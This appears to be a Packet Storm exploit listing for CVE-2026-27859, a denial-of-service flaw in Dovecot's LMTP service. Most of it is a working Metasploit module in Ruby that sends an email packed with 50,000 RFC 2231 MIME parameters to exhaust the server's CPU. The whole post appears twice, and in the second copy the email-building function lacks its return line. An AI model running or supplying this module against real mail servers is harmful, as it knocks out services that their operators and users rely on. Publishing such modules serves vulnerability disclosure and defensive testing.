5.3
/ 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Description
This Metasploit module targets a denial of service vulnerability in the Dovecot LMTP service caused by excessive CPU consumption...
Basic Information
ID
PACKETSTORM:219558
Published
Apr 22, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Dovecot MIME Parameter CPU Exhaustion DoS Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.dovecotpro.com/ |
==================================================================================================================================
[+] Summary : This Metasploit module targets a Denial of Service ((CVE-2026-27859)) vulnerability in the Dovecot LMTP service caused by excessive CPU consumption.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Dos
include Msf::Exploit::Remote::Smtp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dovecot MIME Parameter CPU Exhaustion DoS',
'Description' => %q{
Dovecot LMTP service is vulnerable to CPU exhaustion through mail messages
containing excessive amounts of RFC 2231 MIME parameters.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-27859']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-27'
)
)
register_options([
Opt::RPORT(24),
OptString.new('MAIL_FROM', [true, 'From address', '[email protected]']),
OptString.new('MAIL_TO', [true, 'To address', '[email protected]']),
OptInt.new('PARAMETERS', [true, 'Number of RFC 2231 parameters', 50000])
])
end
def run
print_status("Dovecot MIME Parameter CPU Exhaustion DoS (CVE-2026-27859)")
print_status("Target: #{peer}")
sock = nil
malicious_email = build_malicious_email
begin
connect
sock = self.sock
res = sock.get_once
vprint_status("Banner: #{res}")
sock.put("EHLO attacker\r\n")
res = sock.get_once
vprint_status("EHLO response: #{res}")
sock.put("MAIL FROM:<#{datastore['MAIL_FROM']}>\r\n")
res = sock.get_once
vprint_status("MAIL FROM response: #{res}")
sock.put("RCPT TO:<#{datastore['MAIL_TO']}>\r\n")
res = sock.get_once
vprint_status("RCPT TO response: #{res}")
sock.put("DATA\r\n")
res = sock.get_once
vprint_status("DATA response: #{res}")
sock.put(malicious_email)
sock.put("\r\n.\r\n")
res = sock.get_once
print_status("Delivery attempt response: #{res}")
print_good("Malicious email sent - CPU exhaustion triggered")
rescue ::Exception => e
print_error("Error: #{e.message}")
ensure
disconnect(sock) if sock
end
end
def build_malicious_email
email = "From: #{datastore['MAIL_FROM']}\r\n"
email << "To: #{datastore['MAIL_TO']}\r\n"
email << "Subject: CVE-2026-27859 DoS Test\r\n"
email << "MIME-Version: 1.0\r\n"
email << "Content-Type: multipart/mixed; boundary=\"boundary\"\r\n"
email << "\r\n"
email << "--boundary\r\n"
email << "Content-Type: text/plain\r\n"
email << "\r\n"
email << "Test message\r\n"
email << "--boundary\r\n"
parameters = []
datastore['PARAMETERS'].to_i.times do |i|
parameters << "param#{i}*=\"value#{i}\""
end
email << "Content-Type: application/octet-stream;\r\n"
email << " " + parameters.join(";\r\n ") + "\r\n"
email << "Content-Transfer-Encoding: base64\r\n"
email << "\r\n"
email << "dGVzdA==\r\n"
email << "--boundary--\r\n"
email
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Dovecot MIME Parameter CPU Exhaustion DoS Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.dovecotpro.com/ |
==================================================================================================================================
[+] Summary : This Metasploit module targets a Denial of Service ((CVE-2026-27859)) vulnerability in the Dovecot LMTP service caused by excessive CPU consumption.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Dos
include Msf::Exploit::Remote::Smtp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dovecot MIME Parameter CPU Exhaustion DoS',
'Description' => %q{
Dovecot LMTP service is vulnerable to CPU exhaustion through mail messages
containing excessive amounts of RFC 2231 MIME parameters.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-27859']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-27'
)
)
register_options([
Opt::RPORT(24),
OptString.new('MAIL_FROM', [true, 'From address', '[email protected]']),
OptString.new('MAIL_TO', [true, 'To address', '[email protected]']),
OptInt.new('PARAMETERS', [true, 'Number of RFC 2231 parameters', 50000])
])
end
def run
print_status("Dovecot MIME Parameter CPU Exhaustion DoS (CVE-2026-27859)")
print_status("Target: #{peer}")
sock = nil
malicious_email = build_malicious_email
begin
connect
sock = self.sock
res = sock.get_once
vprint_status("Banner: #{res}")
sock.put("EHLO attacker\r\n")
res = sock.get_once
vprint_status("EHLO response: #{res}")
sock.put("MAIL FROM:<#{datastore['MAIL_FROM']}>\r\n")
res = sock.get_once
vprint_status("MAIL FROM response: #{res}")
sock.put("RCPT TO:<#{datastore['MAIL_TO']}>\r\n")
res = sock.get_once
vprint_status("RCPT TO response: #{res}")
sock.put("DATA\r\n")
res = sock.get_once
vprint_status("DATA response: #{res}")
sock.put(malicious_email)
sock.put("\r\n.\r\n")
res = sock.get_once
print_status("Delivery attempt response: #{res}")
print_good("Malicious email sent - CPU exhaustion triggered")
rescue ::Exception => e
print_error("Error: #{e.message}")
ensure
disconnect(sock) if sock
end
end
def build_malicious_email
email = "From: #{datastore['MAIL_FROM']}\r\n"
email << "To: #{datastore['MAIL_TO']}\r\n"
email << "Subject: CVE-2026-27859 DoS Test\r\n"
email << "MIME-Version: 1.0\r\n"
email << "Content-Type: multipart/mixed; boundary=\"boundary\"\r\n"
email << "\r\n"
email << "--boundary\r\n"
email << "Content-Type: text/plain\r\n"
email << "\r\n"
email << "Test message\r\n"
email << "--boundary\r\n"
parameters = []
datastore['PARAMETERS'].to_i.times do |i|
parameters << "param#{i}*=\"value#{i}\""
end
email << "Content-Type: application/octet-stream;\r\n"
email << " " + parameters.join(";\r\n ") + "\r\n"
email << "Content-Transfer-Encoding: base64\r\n"
email << "\r\n"
email << "dGVzdA==\r\n"
email << "--boundary--\r\n"
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================